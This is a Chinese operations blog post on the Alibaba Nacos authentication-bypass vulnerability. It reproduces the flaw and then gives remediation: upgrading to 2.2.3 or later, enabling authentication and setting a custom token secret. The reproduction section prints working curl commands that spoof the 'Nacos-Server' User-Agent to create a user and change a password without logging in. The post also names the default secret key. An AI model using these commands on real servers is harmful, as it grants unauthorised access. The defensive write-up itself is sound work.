暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Alibaba Nacos权限认证绕过漏洞防护

IT那活儿 2024-03-19
2325
点击上方“IT那活儿”公众号--专注于企业全栈运维技术分享,不管IT什么活儿,干就完了!!!  



背 景



当前维护系统nacos版本主要是v2.0.3和v2.0.4,公司安全团队扫描后给出整改建议,要求nacos版本升级至v2.2.3及以上,主要原因是nacos存在权限认证绕过漏洞。

Nacos权限认证:
  • v2.2.2版本之前,无论服务端是否开启鉴权,都会存在一个登录页,这导致很多用户被误导认为Nacos默认是存在鉴权的。
  • v2.2.2版本开始,在未开启鉴权时,默认控制台将不需要登录即可访问,同时在控制台中给予提示,提醒用户当前集群未开启鉴权。




情景复现



2.1 权限认证绕过漏洞

Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的认证绕过漏洞。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
2.2 权限认证绕过漏洞检查
http://nacos-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9
2.3 绕过认证创建用户
curl -X POST
'http://nacos-ip:8848/nacos/v1/auth/users?username=test1&password=test1' -H 'User-Agent:Nacos-Server'

用户创建成功。
2.4 修改用户密码
curl -X PUT 'http://nacos-ip:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'



漏洞修复建议



3.1 升级nacos版本到2.2.3及以上

3.2 开启用户认证
具体配置如下:
nacos.core.auth.enabled=true(开启用户认证)
nacos.core.auth.server.identity.key=yewu-user(应用连接用户)
nacos.core.auth.server.identity.value=yewu-user-passwd(应用连接密码)
nacos.core.auth.plugin.nacos.token.secret.key=密钥(必填)

SecretKey012345678901234567890123456789012345678901234567890123456789为默认值,存在默认key导致权限绕过登陆的分享,不建议使用。建议自定义密钥时,推荐将配置项设置为Base64编码的字符串,且原始密钥长度不得低于32字符。
3.3 使用nacos用户在控制台添加业务用户并添加权限
3.4 测试spring-nacos-client应用组件与nacos版本的兼容性,并在yaml配置文件的config和discovery模块下添加username和passwword参数
权限认证绕过漏洞检查再次验证:
http://nacos-ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

END


本文作者:王方进(上海新炬中北团队)

本文来源:“IT那活儿”公众号

文章转载自IT那活儿,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论